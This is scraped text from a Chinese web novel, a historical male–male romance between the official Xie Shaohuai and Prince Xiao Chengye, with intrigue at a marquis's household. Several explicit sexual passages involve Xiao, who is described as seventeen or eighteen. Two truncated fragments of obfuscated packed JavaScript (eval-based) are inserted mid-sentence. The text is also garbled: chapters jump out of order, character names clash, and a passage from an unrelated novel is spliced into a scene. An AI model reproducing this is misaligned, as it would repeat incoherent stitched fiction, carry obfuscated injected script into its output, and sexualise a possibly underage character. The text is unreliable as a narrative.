几日后,如萧承野所说,谢二郎领皇命回长安,暂封列将军一职位,留在长安的五大营操练士兵,预备半月后的平叛琢州起义。冠英侯府嫁女前一日,谢三、谢四郎也连夜回了长安,谢家一家人难得团聚,谢少淮当日也在府上待着,陪着谢母置办家宴。 到了亥时左右,酒过三巡,谢少淮别了父母和兄长,独自驾车往家里走,到了半路,萧承野还在经常候着的地方等他,谢少淮停下马车,少年便火速溜了上来,先蹭着谢少淮的后颈闻了闻:“阿淮吃酒了?” 谢少淮酒量不错,和二哥多年没见,便小酌几杯,闻言掀开帘子指了指带回家的陈酿,“兄长带回来的,殿下一会儿要尝尝吗?” 萧承野摇了摇头,抱着谢少淮在他脸颊上亲了一口,“吃多了,小王怕冒犯阿淮,不吃的好。” 谢少淮:“……” 今天他本打算在家里留宿,正因吃了酒壮胆,才半路改变主意,他都不怕,萧承野这厮怕什么? 谢少淮无言,轻推开身后的男人,接着月光他回眸,勾了勾萧承野的腰带:“今夜去殿下府上?” 萧承野:“。” 男人听完,愣在原地,谢少淮脸色微微发烫,觉得自己这是在被拒绝,有些不耐烦,“过时不候。” 萧承野滚了滚喉,有点激动地握着谢少淮的手,薄唇轻启,话在嘴边流连好久,不知该说些什么,最后他的目光落在那几小坛子酒上,手速麻利地打开一坛,就这么当着谢少淮的面,仰头直饮下腹。 谢少淮:“……” 少年一口气喝完,双眸便直勾勾盯着谢少淮,不等他说什么,萧承野一把将他揽在怀里,驾着马车往梁王府的方向驰去。 18.第 18 章 夜间风大,谢少淮独自驾车的时候走的很慢,但是眼下身后的少年像是吃错了药,单手箍着他的腰身,架着马车不停地在加速。 冠英侯府明日有喜事,今夜的街上早早挂了灯笼,方圆几里都热闹非凡。谢少淮将怕自己被人发现,只能蜷在少年怀里,死死揪着他的衣摆:“萧承野,慢点……” “抱歉。”少年安抚似地吻了吻谢少和的鬓角,摸到他微凉的指尖,将自己的大氅褪下罩在了他身上,随后再次加速:“阿淮,小王慢不了。” 谢少淮:“……” 马儿风驰电挚不过往日一半的时间,马车便到了梁王府的正门不远处,梁王府外有不少护卫,眼瞧着萧承野要从正门过,谢少淮立刻清醒了,伸手握住了紧紧抓着了少年缰绳的手:“殿下,从后门进。” 萧承野:“嗯……” 萧承野这次听话了,调转马儿的方向,绕着梁王府转了一圈儿,最后将马车停到后门。 王府的后门没人看守,钥匙萧承随身带着,马儿甫一停下,谢少淮就感觉自己身子一轻,知道萧承野要抱他,谢少淮本能躲闪:“殿下,这不合规矩,一会儿来人了怎么办?” 说着,谢少淮推开身前的少年,却不想萧承野倏地攥着他的脚踝,随后换住了他的腰,将他就这么压在马车上:“阿淮,今夜过后,你我还只是师徒吗?” 少年身上的酒气浓郁,逼近他的时候,带着清爽的竹叶香气,谢少淮虽吃了酒,但不至于把自己吃的发醉,可萧承野这么紧紧压着他,那双深邃锋利的眉眼与他贴近,却让他有几分恍惚。 萧承野得不到青年的回复,滚了滚喉,一口含住那柔软的唇瓣,湿濡的舌尖推入,又不满意地舔了舔他的下颌,“阿淮,我们都偷偷摸摸这么久了,若是同房了,有了孩子,还不给小王名分吗?” 谢少淮:“……” 萧承野毛茸茸的脑袋他在胸前拱来拱去,刺挠的紧,但他却不知怎么回应。他自然不能和萧承野成婚。 “阿淮……”萧承野捏了捏青年的腰,“小王想和你成婚。” 谢少淮:“……” 谢少淮想了想道:“殿下,谢家若是有人成了梁王妃,您要陛下如何看待?” 说罢,谢少淮抬手轻轻抚上少年的脸颊,指腹揣摩过他的眉宇,最后停在少年那紧蹙的沟壑上:“先帝留谢傅两家为托孤之臣,却在驾崩前给周氏封了好几个侯,将西北三州的兵权交给卫将军,至此我大周朝近十几年未再起内斗,若下官和殿下成婚了,您要陛下怎么办?周氏如何想?” 谢少淮一股脑说完,身上步步紧逼的男人突然哑口无言。萧承野方才还亮着的双眸瞬间暗淡无光,像是没讨到糖吃的小孩儿,抿了抿唇,沉默下来:“小王知道了。” “进去吧,”谢少淮勾着少年的脖颈,在他唇上浅尝辄止啄了一下:“今日下官就吃了一半的药,我们试试?” “嗯。”萧承野没再说什么,起身,拉着谢少淮一起起来,随后两人以前一后进了王府。萧承野不喜别人打扰,王府的后院也没什么人伺候,进了门,萧承野将马车牵到马厩,随后吩咐下人去准备热水。 等萧承野做好这一切回到卧房的时候,谢少淮正在外殿的小塌上抄着一本春宫图看。 萧承野走到青年身边,两脚发软,方才吃的酒现在慢慢上劲儿了,他看着谢少淮的脸在他眼前不停的晃,踉跄着走到青年身边,在他跟前单膝跪下,随后掀起他的衣摆,握住青年纤细白皙的脚踝,鼻尖亲昵地蹭着如丝绸光滑的肌肤,喃喃道:“阿淮……” 谢少淮将手里的书合上,揉了揉少年的发顶,还没拉他起来,突然脚踝上一热,他推着少年的头,垂眸看着身下的人正抓着他的脚,薄唇轻轻吻上他的小腿,像是找到了什么美味,萧承野舔着他的腿肉,一边亲一边咬:“阿淮哪里都香香的。” 谢少淮:“……” 谢少淮今夜可不是过来做这些的,但是少年的手劲儿实在太大了,他抽不出来,只能用力推搡着少年的头,“不舔了,先去准备羊肠……痒……” 就在这时候,殿外出来的小厮的声音:“王爷,热水烧好了,要伺候您沐浴吗?” 谢少淮被萧承野舔的痒意难耐,听到门口小厮的声音,便下意识咬住了唇肉,将满满的喘息咽下,这时候抱着谢少淮双眼的少年终于是有点反应了,谢少淮找准机会,一脚将人踹在地上,道:“热水,殿下去弄,沐浴过了再说。” 萧承野被打断了兴致,蹙了蹙眉,有些不爽。他握拳撑着地起来,看着小塌上衣袍被扯开的青年,滚了滚喉,似乎是想起来今夜要做什么了,随后他站起来,快步走到门前,倏地打开了房门:“放门口,本王自己弄。” 小厮敲了好半天的门,突然见男人冷脸出来,吓了一跳,连忙吩咐身后打着热水的小厮都停下:“是。” 谢少淮躺在小塌上,用自己的帕子擦了擦小腿上的口水,随后解开自己的衣带,这时候萧承野提着热水进来了,哼哧哼哧几趟,很快把浴桶装满了。 房间里又安静下来,谢少淮将自己的发解开,走到内殿,萧承野拎着木桶站在浴桶边上,眼神落在他身上一动不动,“殿下——” 萧承野看着面前仅仅穿着薄衫的青年,愣了一下,随后将木桶随手一扔,一把将谢少淮扛在肩上,踏进浴桶里。 谢少淮的衣服都来不及解开,萧承野的手劲儿大的出奇,绸缎被撕开,几块白布很快浮上水面。 这个澡洗的仓促又潦草,谢少淮压根没来的洗少年该洗的地方,就被人急匆匆地从水里捞了出来,随后卷在被子里。 谢少淮:“殿下,别急……” 谢少淮抱着少年的肩膀,单手撑在他胸口前,湿漉漉的头发落在他胸口,少年毫无章法的吻也随之落下,“阿淮……” 萧承野的头好晕,他感觉自己在和少淮兄做什么,但是又感觉没做好,青年的脸绯红一片,唇也任由他吮吸,可是他好像迷路了一样,找不到它应该去的地方—— 不知过了多久,谢少淮才得以呼吸一口新鲜的空气,身上亟不可待的少年好像突然没了骨头一样,摊在自己身上一动不动,谢少淮蹙了蹙眉,推搡了一下少年,“殿下?” 谢少淮:“殿下?” 两人都脱的□□,但是也仅此而已,谢少淮想了无数可能,却没想到萧承野不仅……没进去还睡着了? 十七八岁的少年已经长成,要比谢少淮高出大半头的块头,就这么死死压下来,说不沉是假的。 谢少淮推了少年两下眉推动,气的笑了出来,最后索性挪了挪自己的身子,可就剩下一条腿的时候,又被睡着的人抓去过去,“阿淮,小王进不去……” 谢少淮:“……” 等人又睡死过去,才把自己的腿从少年怀里抽出来,随后拿了个枕头放在他怀里,抄着方才脱下来的衣服下了床。 殿外,浅浅的月色透过纸窗铺在湿濡一片的地板上,谢少淮拢了拢自己还没干的头发,随后一把将床幔拉上,随即走到了外殿的书案前—— - 翌日,天还没亮,谢少淮推了推身边的少年,贴着他的耳侧,喊了一句:“殿下,快辰时了,今日要去冠英侯府赴宴。” “殿下?” 萧承野蹙了蹙眉心,好像听到有人唤他,随即不爽地睁开了双眸:“嗯?” 入眼,幽暗的房间里仅仅点着一根快燃烧到底的蜡烛,怀里,青年一袭单衣侧躺着,纤细白皙的手指轻轻抚在他的眉梢。 萧承野立马就精神起来,又垂眸看谢少淮胸前的痕迹,脸倏地一红,“阿淮,我们这是……” 谢少淮压了压嘴角,主动环着少年的脖子,“昨夜,殿下忘了吗?” 昨夜? 萧承野舔了舔唇,似乎是想起来,昨夜他去接谢少淮,然后吃了酒,然后又回了府……最后他们一起洗了澡上了床。 可是,为何剩下的一些他想不起来了? “阿淮……”萧承野滚了滚喉,美人在身侧,即便想不起昨夜的种种……待一吻结束,萧承野亟不可待地撑着软被起身,将青年压在身下,他是没有穿衣服的,但是怀里的谢少淮却穿着一件本不该贴身穿的外衫,想来是昨夜他将青年的衣服撕坏了。 可就是想不起来做那种事,是什么滋味。 萧承野蹭了蹭青年的脖颈,“阿淮,小王昨夜吃多了酒忘了好多,没没弄疼你吧?” 谢少淮:“……” 谢少淮自然不会疼,他都做好要受伤的准备了,奈何二哥的酒,酒劲儿太大,把人放到了。不过也不算坏事。 “不疼,”谢少淮捏着少年的耳垂,在他耳侧吹了口气:“今日冠英侯府还有喜宴,改日空了,殿下去下官府上住。” “好……”萧承野咽了口口水,默默吁了口气,将自己满身的“火”压制下去,少淮兄说了今日还有事,那他便不好胡来。 可是,他们当真做过了吗? 萧承野先行起身洗漱,见卧室地上干涸的水渍以及浴桶里被他撕坏的亵裤,好像一切都在说,他们昨夜似乎真的做了…… 收拾完东西,萧承野起身去了外殿,准备让小厮给谢少淮准备衣服,可走到自己素日里放置书信的书案前,见纸镇好像挪了位置。 谢少淮没有里衣,无法出门,便让萧承野去找衣服,但少年之走到了外殿的书案前,便停了下来。 谢少淮顿感不妙,起身,拢着系不上的外杉出了内殿的门。 “殿下?”谢少淮走到少年身前,顺着他的目光,看着昨夜被他翻腾过一遍的书案,“怎么了?” “没什么。”萧承野抿了抿唇,动手把纸镇挪了回去,“阿淮稍等一下……” 萧承野话音未落,便见面前青年的长衫突然开了,天色微微亮起,室内的光线不算弱,青年身子极白,衣料倏然散开,细腻白皙身体似发着光的夜明珠。萧承野目光落下,又见那不过一掌宽的小腹上点点梅痕,知是自己弄得,脸上不由一烫:“阿淮,衣服……” 谢少淮闻言,没有动作,反而勾住了男人的肩膀,抬眸与他对视:“殿下自己弄坏的衣服,怎么系?” 萧承野:“。” 萧承野揪着衣服,将那快被扯掉的衣带认真系好,“对不起。” 匆忙给青年系上衣服,萧承野又怕自己忍不住,连忙出了门。谢少淮见门被关上,蹙眉快速将纸镇方便的小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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之前萧承野同谢少淮说,要好生教训一下周二郎,谢少淮以为他说什么浑话,便没放在心上,可眼下他才出来透气,怎么萧承野便带着这两个人过来了? 萧承野这边。 “王爷,那不就是谢六公子吗?”周崇跟着萧承野一出门便看到了谢少淮,他之前可是吃过亏的,知道萧承野喜欢谢六这个师父,眼下自然不会和青年再对着干。 见人在不远处的池塘边上,周崇乐开了花。 他明明是爹爹的嫡亲儿子,冠英侯的接班人,怎么现在一个庶出的狗崽子都能踩在他头上撒野了,刚好周二这个狗杂种顶的是谢六的职位,萧承野又护犊子,他为何不来一个借刀杀人! 萧承野不喜和周家这几个人相处,但是皇兄有令,他不得不从,见周崇将目光放在谢少淮身上,他冷冷看了一眼身边不安生的人:“狗东西,给本王老实点。” 周崇:“……” 周崇被萧承野揍过,这厮下手毒辣,他才不敢再招惹了好吗? 周崇缩了缩脖子,蹙眉不耐烦地将身边的贱货推开,“你去去去,我要和王爷说话,你上一边去。” 周二郎是家仆所生,虽然任了吏部侍郎的职位,但在家里依旧没什么话语权,见状他只好点了点头乖乖退下:“是。” 等人离开后,周崇便上赶着追上萧承野,“殿下,周二这个家仆生的狗杂种,怎么能代谢六公子任吏部侍郎的职?您难道不想出口恶气吗?” 萧承野正准备去偏殿,闻言倏地停下了脚步,“废话少说。” 周崇见萧承野动心,便小声对他说:“一会儿人多的时候,咱们找人把他推下水,今天来赴宴的人这么多,他要是丢人了,爹爹肯定生气,到时候一定会把他从宫里调到地方小县去,怎么样?” 说罢,周崇还怕萧承野不同意,又道:“又不用您动手,我找人去做,只要殿下以后带我一起玩儿就行,我保证再也不欺负六公子!” 萧承野确实答应过谢少淮处理周家这两个草包,见周崇自己乐意做,他倒也没什么好拒绝的:“勿要伤人性命。” 周崇:“好勒!” 说话间,萧承野便要路过谢少淮站在的连廊,两人名义上是师徒,见面礼自然要问好。 萧承野打发了周崇,甫一走到青年身边,还没开口,青年便抬了抬他作揖的手,认真与他道:“殿下,切不可胡来。” 萧承野:“。” 萧承野蹙了蹙眉心,“阿淮,周三愿意去收拾那厮,不必小王动手的。” 萧承野:“且,阿淮不是同意了吗?” 谢少淮:“……” 谢少淮还没再说什么,只见不远处传来“噗通”一声,随即便有人喊了起来:“不好了,周二公子落水了!快来人救命!” 谢少淮抿唇不语,确实是他之前应了少年的,闻言他没有再说什么,别过萧承野,快速朝着人群走去。 萧承野觉得自己好像做错事了,他呆在原地,不知所措,只能看着有些生气的青年远走…… “阿淮。”谢少淮走出去没几步,身后的少年便快速追了上来,少年大步流星超过谢少淮,眸色沉沉,内疚又无助,像是忏悔的信徒,匆匆道了一声“抱歉”便快速朝着人群而去。 待谢少淮追上去的时候,便又听见有人道:“梁王殿下跳下去救人了!快请太医!” 19.第 19 章 冠英侯府今日大喜,酒席吃了一半,自己的公子突然在宅子里落了水,看客三两成群朝着这边汇聚而来,人头交错。谢少淮只得站在人群的外面朝里看,却只能听见周家的小厮叫喊的声音。 “梁王殿下将二公子救上来了!” “来人,快去请太医!” “殿下,殿下还在水里,快将殿下救上来!” 谢少淮闻言,不免有些自责,少年原先确实与他说过要给周家的公子颜色看,他也随口答应,今日之事原因在他。 正在谢少淮着急的时候,周五郎和二哥作伴,听见这边有动静,便过来了,见谢少淮在人群外围站着,走进问情况:“六郎,谁落水了?” 谢少淮向兄长行了礼,还未开口,一边的谢家小厮从人群里挤了出来,见几人便小声道,“回公子们的话,小的方才看见是周三公子喊人把周二公子推下去了,故意的。” “周二?”谢五郎闻言:“不是那个顶了六郎职位的那个庶子?” 谢二郎年过而立,是谢家兄弟几个里最稳重的,他甫一过来便看见自己六弟有些心神不宁,方才五郎说罢,青年的眉心便蹙的更紧了。他这个六弟,自小喜欢跟在他身边,外人皆说他的性格与自己相像,其实不然。谢少淮看着冷冷淡淡,实则为人规矩,他常以君子之道待人,若别人犯他,蛇鼠之辈更不屑于其交涉蛮缠。 可青年的眉心紧蹙,脸色沉如一潭死水,好似眼前这档子事,与他脱不了干系。但一个庶出的周二郎,断不会让他做出推人入水之事? 谢二郎虽不解这件事如何和谢少淮有干系,但见眼前形式也不便多问,他拍了拍五郎的肩,示意道:“那是陛下亲指的,何来顶替一说?此处人多眼杂,勿要多言,将祸水引在自家身上。” 说罢,谢二郎看着谢少淮,道:“六郎,你随兄长前去看看可有能帮上忙的。” 谢少淮抿了抿唇,“是。” 说罢,谢少淮便拂袖,转身拨开人群:“让一下。” 谢二郎看着步履匆匆的青年,吁了口气,示意身边的小厮:“去,给六公子开路。” 小厮:“是。” 谢五郎什么嘴的插不上,挠了挠脑袋,想跟上去又见二哥犀利的眼神,只好作罢,回去吃酒去了。 不多时,周家的小厮请来了大夫,人群散开了一条路。谢少淮随着兄长走到人群中央的时候,见萧承野单膝跪下池塘边上,身上的亲王服侍都侵满了水,水珠顺着衣襟往下掉,少年周遭湿濡一片,唇瓣冻得发紫,肩头本能地微微发颤。 眼下刚过了冬,池塘的水还没完全解冻,这一遭下去,若是染上了风寒,不生一场大病是不可能的。 冲动。 谢少淮站在人群中间,周家的几个小厮和公子们都围了上去,他们作为客人自然不便前去凑热闹。可看着少年一言不发的跪在原地,眸子抬了又抬,朝着他这边看了看,又生怕他生气似得,落下目光。 待周家的人拿了干净的狐裘大氅过来,萧承野和那个被推下水的周二才被众人搀扶着从池塘下上来。罪魁祸首周崇自然也跟着父亲一起跟着萧承野,几人被人群簇拥着往房间走,人群也慢慢散去。 谢二郎和谢家的小厮上前帮忙,谢少淮本也想跟上去,却被二哥交代在后面跟着。但众人走了没多久,前面的人群里突然爆发一声嚎叫,跟在最前面的周崇不知怎地,从人群里跑了出来,一边跑一边哭喊:“你们都欺负我!又不是我推他下去的,是他自己笨!” 谢少淮:“……” 很快周崇从人群里离开,哭着看到了谢少淮也跟在人群后面,便又叉着腰指着谢少淮,“谢——” 周崇要气死了,方才明明是萧承野答应了一起整蛊周二那个蠢蛋的,他都把人推下去了,萧承野凭什么又跳下去救人?救人就算了还回头指责他是蠢蛋! 父亲也不站在他这里了,那眼神分明是要责怪他! 气死了气死了,尤其现在看到谢少淮! 周崇指着一身素衣的青年,又见他纤尘不染地站在人后,明明谢少淮才是罪魁祸首!他们都是为了给谢少淮出气才会推周二下水的!凭什么置身事外,还这么干干净净漂漂亮亮的! 周崇指着青年,想把真相脱口而出,但是话都到嘴边了,他又想起方才萧承野那要杀人的眼神,若是他今日当着这么多人的面指责谢少淮,那等这件事过去了,萧承野非撕碎了他不成!他马上要领兵出征了,等平定了琢州的起义军,他回来可是要封侯的! 不行不行,不能那梁王闹掰! 谢少淮站在廊下,见狼狈不堪的周崇立下院落里指着他,周崇的性子他也有几分了解,此时大有鱼死网破的架势。 罢了,今日之事本就怨他。 谢少淮衣袖下的手微微收紧,想起方才萧承野内疚的眼神,心间不由跟着揪起来,但随后他吁了口气,五指倏然放松,准备认下此事:“周二公子——” “你你你!”周崇的动静太大,惹得众人朝着他这边看,箭在弦上他不得不发,脑子转了半天,最后将手转向了前面帮忙的谢二郎:“你们谢家的人少假惺惺了!!!本公子是陛下亲指的骠骑大将军,你一个打后勤的,哪里轮得到你在这里装好人!滚滚滚!” 正帮着周家人的谢二郎闻言眉心一蹙,不由回头看着身后指着他的少年:“。” 冠英侯了解自己这个小儿子,今日之事怕全是他一人的手笔,还好事情没闹大,谁料他又突然蹦出来这么一句。 天子病危,有意移权,此等关键之时,万不可被谢家察觉! 冠英侯气的胡子一横,从人群里飞奔而来,指着挑起事端的周崇道:“逆子!” 事情陡然之间发生翻天覆地的变化,从周家内斗变成了周、谢两家的朋党之争,人群里不仅是冠英侯府的人脸色难看,谢父和谢家几个郎君的脸也拉了下来,围观的众人更是一个个畏着脖子,缄默不语—— 谢少淮方才松了的手又倏地握拳,随即步履匆匆走了过去。 周崇站在人群中央,看着周围愈加浓郁的怒气,不知自己做错了什么:“我……” 周崇抱头鼠窜:“父亲,孩儿说错了!” …… 一场闹剧结束,谢少淮随着父母兄长乘车回府,轿子内众人一言不发,谢五郎眼睛转来转去,最后实在忍不住了,抱着谢母躲在她身后,对谢父和谢儿郎道:“爹,二哥!周家人都欺负到咱们头上了!” 说罢,谢五郎想起自己莫名丢掉的职位,更委屈了:“爹!你说句话啊爹!陛下是不是真要动我们谢家……” “好了,”谢父在朝为官多年,饶是见过多少家族浮浮沉沉大起大落的心态,此刻事情落在自己头上,也多了几分无奈:“我谢某身正不怕影子斜,就算是离开长安,也不怕没有落脚之地!倒是你,陛下抬爱,才给了你这么一个好职位,若非你玩忽职守,又怎么落得今日这般下场?” “哪里是孩儿的错,欲加之罪何患无辞……”谢五郎说着,又看了看身边的二哥和谢少淮:“就算孩儿有错,那六郎明升暗降,二哥给周家那个草包做擦屁股的活儿,难道也是因为犯了错吗?” “好了好了,”谢母听见他们父子几个因为这件事吵吵就心烦,她拍了拍身侧谢五郎的手,道:“就算陛下都将你们免了职,只要我们一家人都好好的在一起,比什么都重要。” 说罢,谢母幽幽叹了口气,将目光放在谢少淮身上:“六郎,事已至此,你切勿要与梁王殿下闹冲突了,待日后离开长安,咱们就回老家去,顺便,也该张罗你的婚事了。” 谢少淮蹙了蹙眉心,顺应谢母的意思点了点头,“孩儿记下了。” 谢少淮这边刚刚说罢,轿子外的马夫突然减速停下,最外侧坐着的谢三郎掀开帘子,却见梁王府的轿子停在前面,“爹,娘,好像是梁王殿下。” 萧承野从周家出来的时候,听闻谢太尉已经带着谢家的几个郎君离开了,他匆匆换好了衣裳跟了出来。他知谢家一家一起回去了,阿淮不一定愿意见他,但又实在忍不住。 梁王府的小厮见谢家的轿子停了下来,上前给谢太尉以及几个公子行了礼,随后便把梁王殿下的意思传到:“扰了大人了,梁王殿下说今日时间尚早,殿下还有些兵书没有看懂,想问问谢师保这会儿有没有空去王府走一趟。” “劳烦殿下稍后,”谢少淮闻言,蹙了蹙眉心,安抚了谢父谢母和兄长,“父母兄长不必太过忧心,殿下待少淮极好,待时机成熟,少淮便请辞随父母兄长一起回老家去。” 谢少淮还想说些什么,但见年过花甲的父母斑白的两鬓、兄长眉心紧蹙的沟壑,安慰的话也无法抚平政权更迭下的恐惧,他抿了抿唇将话咽下,随即掀开帘子下了车去。 萧承野踌躇难安,在轿子里反复咀嚼向谢少淮道歉的话,又掀开帘子,见青年踱步朝着他走来而心神难安,想说的话到了嘴边又不知怎么表达。 这时候他面前的帘子被掀开,谢少淮朝着他莞尔一笑,随后上了马车坐在他身边:“殿下,身子可还好?” 丝毫不见坏情绪。 马夫架着车离开,萧承野的心跟车轱辘似得,转个不停,他看着青年悦色的脸庞,仿佛他今日没有因为周二郎的事情生气,但第六感告诉他,他的阿淮似乎并不是很开心。 “没事……”萧承野握了握拳,又抬眸看了看谢少淮,“阿淮,今日的事情是小王唐突了,但周二郎救治及时,没有伤到,小王已经差人送去了上好的药材给他养身子……你能不能原谅小王。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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萧承野有点懊恼,“小王第一次,有些生涩,实在不敢,这才吃了阿淮的酒壮胆……小王就说,若是和阿淮做了,小王怎么会没感觉……” 说罢,萧承野越想越后悔,“那,那阿淮现在是不生气了吗?” 他今日真的认真反思过自己了,阿淮的性子好,是他性格莽撞,一有点事情就想拿棍棒说事,是他的错。 萧承野确实没想到,阿淮会这么轻易就原谅他,他还以为阿淮起码要生好几日的气。 “没生气,”谢少淮垂眸,勾了勾萧承野的衣带,淡淡道:“殿下不是也说了,你我要相互了解,殿下不必如此拘泥,若日后朝夕共处,性子合得来才能长久。” “嗯。”萧承野确实是这么想的,他不想让阿淮改变自己,却无法真的放开自己,他怕阿淮不喜欢他鲁莽的性子,但阿淮说的很对,他若想和阿淮长久,便要真心相待:“那,那今日的事情便过去了,阿淮不准生气了。” 谢少淮无奈一笑,他有什么好生气的?萧承野性子便是如此直来直去,倒是比尔虞我诈的朝廷干净简单,他确实是喜欢萧承野这样的性格,就算偶然争执一两句,也算是生活的调剂。 但他也知道,萧承野的性格并非真如他在自己面前这么简单。 昨日他挪动了纸镇,不过一指位置,少年都能发现,可见其心思细腻;舅舅府上训养多年的影卫都不是他的对手,便知道他的身手不凡,远在常人之上。 谢少淮不禁想,若是日后萧承野知道自己在玩弄他的感情,会如何报复?又是怎么一副态度对自己?还会像今日伏小做低吗? 谢少淮抬唇一笑:“真的没生气——不说这个了,今日是去殿下哪里?还是去下官府上?” 谢少淮挑着少年的下颌,身下的手握着他的手放在自己腰上,随贴着他的耳垂轻轻吐了口热气:“膏腴和羊肠府上都备好了,今夜殿下要清醒着再试试吗?” “不了……”萧承野摇了摇头,他虽然想和阿淮同房,但是经过今日之事,他觉得自己还不够格碰阿淮,他想再多了解一下:“小王还不了解阿淮,怎配这么就要了阿淮。” 萧承野认真道:“小王愿意再等等的。” 谢少淮:“……” 谢少淮闻言,眉心浅蹙,随在男人耳垂上落下一吻,随即解开了自己的衣带,坐在少年腿上,握着他微凉带着薄茧的手,从自己的亵裤边缘而下,引导他托着自己,“殿下可知,男子身中情毒,发作起来是什么样子?” “这几日药只用了一半,夜里时常尾椎处酥养难耐,尤其是想起殿下的时候,就比如现在。” 谢少淮勾着男人的指节,头轻轻靠在他肩上喘气,眉心的肌肉随着动作微微抽动,“殿下感受到了吗?” “湿了。” 40-50 第 41 章 第 41 章 翌日。 谢少淮带着符节从长安出发,前往惠阳郡下的三霞县。 三霞县虽然也归惠阳郡管辖,但是惠阳到三霞县的距离要比到宁县远的多,所以谢少淮这次没打算在惠阳落脚,一行人从长安出发直接去三霞县衙。 第三日的酉时前,暮色稀薄之时,谢少淮一行人的马车终于走到了三霞县的地界。这次谢少淮直接从长安出发只带着二十名穿便服的长乐宫守卫,许太医和周崇,而京兆府尹从宁县过来与他们回合。 自从到了三霞县的地界,周崇就在轿子里坐不住了,非要跟萧承野换马骑,不过周崇可不敢直接和萧承野说,只好在轿子里求谢少淮:“少淮哥哥,小侯想那匹汗血马,你和殿下说一声嘛!” 萧澶:“侯爷可以原谅阿澶嘛!” “小兔崽子谁叫你说这些话的?”卫岚把怀里的小东西放在地上,点了点他的小鼻头,认真道:“你小球兄长不是被琢州府尹身边的小厮欺负了吗?和你有什么关系?” 眼瞧着萧澶要把昨天的实情说出来,雁山侯也兜不住了,他连上前掀开袍子跪了下去:“大将军有所不知……” “昨天的事情本王已经了解清楚了,”萧承野踏进殿内,朝着卫岚看了一眼,拱手给男人行了礼:“舅舅。” “是府尹的小厮动手打了小世子,”萧承野将地上的雁山侯扶了起来:“不过这件事起因确实因为阿澶,小孩子闹矛盾,那小厮不认得小世子,便一时冲动,本王已经带了府尹过来向侯爷和小世子赔罪。” 雁山侯刚起来,听萧承野这么说,又想跪了。这是谁?这可是梁亲王爷,他怎么能让堂堂亲王尊称他侯爷:“王爷严重了,既然府尹大人和王爷认识,那这件事就算了,府尹呢?为何不进来?” 萧承野走到卫岚身边,拍拍萧澶示意他:“大人在外头候着呢,你去将大人请进来。” 萧澶点了点头:“好!” 萧澶抬着衣摆哼哧哼哧又跑出去,萧承野这才在卫岚身边落座,俯身对男人小声说道:“舅舅,琢州府尹是阿澶的亲爹爹,我怕阿澶一时接受不了,并未和他交代。” 卫岚:“……”一路上,萧少淮找了各种借口试图将边叙支开,却都被边叙一板一眼、横冲直撞地直接把他借口里的弯弯绕绕碾了过去。 ——萧少淮一时间怀疑这个书呆子是不是故意跑过来气他的。 眼看着怀里那只猫团子又有造反的趋向,萧少淮深吸一口气,忽然站定脚步。 “边峰主跟着我,到底想做什么?” 边叙一如既往地认真开口:“无事,我就是想跟着大师兄,若大师兄有需要帮忙的……” 他话还没说完,却听萧少淮悠悠地叹了一口气。 “可是边峰主这样跟着我,让我和萧宗主都很难办啊。” 边叙蹙了蹙眉,不知想到了什么,语气微微沉了下来:“是萧师弟为难你……” 萧少淮摇了摇头,恍若无可奈何般,声音放得极轻:“边峰主应知,萧宗主是我的心上人吧。” 边叙蹙眉点头,一时间却没有想通其中关窍:“是他用这个威胁你——” 他话还没说完,下一秒,却听萧少淮慢悠悠打断他的话。 “那边峰主这般与我形影不离,若让我心上人看到了,定是会吃醋的。” 卫岚已经懒得管萧承野的私事了,三年前也怪他让萧承野去了长安,萧承野招惹了一个男人生了个孩子,原因在他。两人最后虽然还是和离了,但萧承野是他养大的,心里有没有那个男妻他还不清楚吗?怪不得这几日这狗崽子要是往家里跑,感情是有了姘头。 “既然事情了了,那本将军就不在这儿逗留了,”卫岚狠剜了萧承野一眼,随后拿起自己的头盔走到雁山侯身边,拍了拍他的肩膀:“照顾好耀武,让他去长安,好生做个文官,别走他爹的后路。” 雁山侯:“是,将军慢走。” 雁山侯和萧承野一起送卫岚出了正堂,恰好萧澶牵着谢少淮的手进来。 谢少淮没见过卫岚,但也同样见过长乐宫画师给男人画的画像,六尺高的男子并不常见,且卫岚还身着一身玄绯相间的轻甲。 谢少淮在男人前一人远的地方停下,抬手规规矩矩地向男人行礼:“下官琢州府尹,见过大将军。” 卫岚垂眸看了谢少淮一眼,又看了眼他身下的萧澶,确实有几分相似。 卫岚现在没心思管萧承野的事情,也记不清萧承野在长安招惹的这个男妻叫什么名字,不过能和男人苟且生孩子的,怕不是什么好家庭养出来的好儿郎。 卫岚轻哼了一声,大步别过谢少淮,抱着自己的头盔朝雁山侯府候着的骑兵道:“回营。” 谢少淮:“……” 见男人走远,谢少淮才站直身子,萧澶这时候却抓住了他的手摇了摇:“大人,舅父他就是这样的性子,尤其对长的好看的男人不礼貌,因为舅父不喜欢阿澶的父亲。” “大人勿要放在心上呀。” 谢少淮心间一暖,点了点头:“嗯。” 谢少淮牵着萧澶进了正堂,甫一进去,萧承野正坐在太师椅前和雁山侯说些什么,两人见他进门,遂不再窃窃私语。 雁山侯抬眸见了面前的青年,先是愣了一愣,旋即起身:“这就是阿崇啊?多年未见,你竟出落的这般……” 雁山侯一时竟找不到词语形容面前一身素衣的青年。 雁山侯:“你不像你爹,你爹长得丑,你好看多了。” “侯爷抬爱,”谢少淮拱手作揖,将带来的墨和丝絮纸奉上:“昨日下官管教不严,让小厮冲撞了小世子,特来向侯爷和小世子赔罪。” “小孩子过家家,哪里用得上大人来赔罪,”雁山侯有些热情地过分,拉着谢少淮就要落座:“大人既来了今天中午就在这里用膳,老夫这就让人去准备。” 雁山侯盛情难却,谢少淮还有些意外,落座之后他抬眸看了眼上座的萧承野。 萧承野慵懒地看着椅背上,朝谢少淮扔去一个眼神,好像再说:“本王办事是不是很得力。” 谢少淮和萧承野在雁山侯府门前候着一会儿,小厮便急匆匆过来:“大人,我们侯爷请大人进去。” 谢少淮:“多谢。” 